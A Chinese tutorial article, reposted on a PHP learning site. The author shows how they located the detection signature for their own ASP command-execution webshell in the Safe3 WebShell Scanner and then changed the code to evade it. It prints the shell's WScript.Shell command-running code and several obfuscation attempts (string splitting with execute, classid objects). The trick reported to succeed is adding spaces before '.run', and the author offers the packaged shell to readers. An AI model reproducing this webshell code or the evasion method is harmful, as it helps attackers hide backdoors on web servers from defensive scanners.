来源:自学PHP网 时间:2015-04-17 15:08 作者: 阅读:次
[导读] 今天无事在“鬼仔”的博客上瞎转悠,看到鬼仔介绍了一款工具,叫做“Web杀毒v1.1”,具体介绍为:Safe3 WebShell Scanner是国内率先推出的一款绿色完全免费的web代码查杀软件,独创的智能...
今天无事在“鬼仔”的博客上瞎转悠,看到鬼仔介绍了一款工具,叫做“Web杀毒v1.1”,具体介绍为:Safe3 WebShell Scanner是国内率先推出的一款绿色完全免费的web代码查杀软件,独创的智能扫描技术能有效扫描asp、php、jsp、aspx等多种WebShell,弥补了通常杀毒软件不能完全查杀WebShell的不足,给广大站长带来了福音。打开工具界面如图1,个人感觉界面还是相当不错的,很清爽,使用方法也简单,就不介绍了。这让我想起了以前自己写的一个WEBSHELL,是ASP的,由于写的烂就自己凑合着用。所以这次没事就用这个工具检测了下自己的马马,结果如图2,果然是被查出来了。这下我就比较好奇了,到底这个工具是以什么为特征字符来查找的呢?接下来就开始进行测试。
其实找文本文件特征码的方法和EXE文件时差不多的。对于文本文件都是先取部分文本内容放到一个新的文件中进行查杀,如果被杀就再减少范围,最后把范围确定在一个较小的范围内,就是特征码啦。这次我使用的方法也是如此,首先把我的马马分成两部分,将第一部分放入新文件中进行查杀,结果发现已经找不到木马了,那么特征码就在第二部分了。使用相同的方法,把第二部分内容放到新的文件中进行查杀,结果如图3。果然被杀了,接下来就是做相同的事情啦!把存在特征码的再切成两个部分,先把第一部分放到那个1.asp文件中,如果被杀说明特征码就在前半部分,否则就在后半部分,如此反复。我就不浪费大家时间了,最后我定位的结果是特征码大概为: if Request.Form("shellpath")<>"" then ShellPath=Request.Form("shellpath") If Request.Form("cmdec")<>"" Then defcmd=Request.Form("cmdec") On Error Resume Next Set ws=Server.CreateObject("WScript.Shell") Set fso=Server.CreateObject("Scripting.FileSystemObject") szTempFile = server.mappath("cmd.txt") Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True) Set fs = Server.CreateObject("Scripting.FileSystemObject") Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0) aaa=Server.HTMLEncode(oFilelcx.ReadAll) oFilelcx.Close Call fs.DeleteFile(szTempFile, True) end if 这段代码是用来执行CMD命令的,再结合检测程序所报告的木马类型为“ASP 执行命令木马”,所以基本不会错了。最后经过反复测试,发现特征码就是为: Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True) 我把其中的run改成RAN,再次查杀,发现已经不再被杀了,如图4。这下我们算是找到罪魁祸首了,接下来就是怎么才能免杀了。 首先我想到的是把“RUN"作为字符来执行,这样就可以把run给拆开了,然后使用execute就可以执行了,具体的操作就是把代码改成: <% a="call ws.r" & "un(" &shellpath & " /c" &defcmd & " > " & zTempFile & ", 0, True)" execute a %> 原本以为这样就可以突破了,但结果是仍旧会被查杀,但报告的结果变了,如图5。这下是因为被当做是一句话木马,想想也是,因为用到了”execute“嘛。于是我又尝试了“eval”和“Server.Execute”,发现都会被查杀出来。接着我又想到了用classid的方法,因为通过这种方法也是可以使用Wscript的,具体代码为: <object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> ws.run ……………… 但还是会被查出来,这下就比较郁闷了,看来文件的特征码是集中在“*.run”上了。比较伤脑筋,当时我能想到的办法就是把这段代码去掉,可这样就失去意义了。 通过一段时间的思考我认为,既然程序盯上了“*.run”,那么如果我改成“* .run”的形式呢?注意这里多了几个空格哦。首先需要测试ASP程序是否还能够正常运行。经过测试发现程序还是可以运行的,修改过后仍旧可以执行CMD命令,如图6。而同样的使用“web杀毒”也已经查杀不到木马了。到此我们的免杀就已经成功了,相信一定还有别的好的方法,我会把ASPSHELL和程序都打包,有兴趣的同学一起研究啊!也欢迎大家到X档案论坛找我,我的ID是EchoEye。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com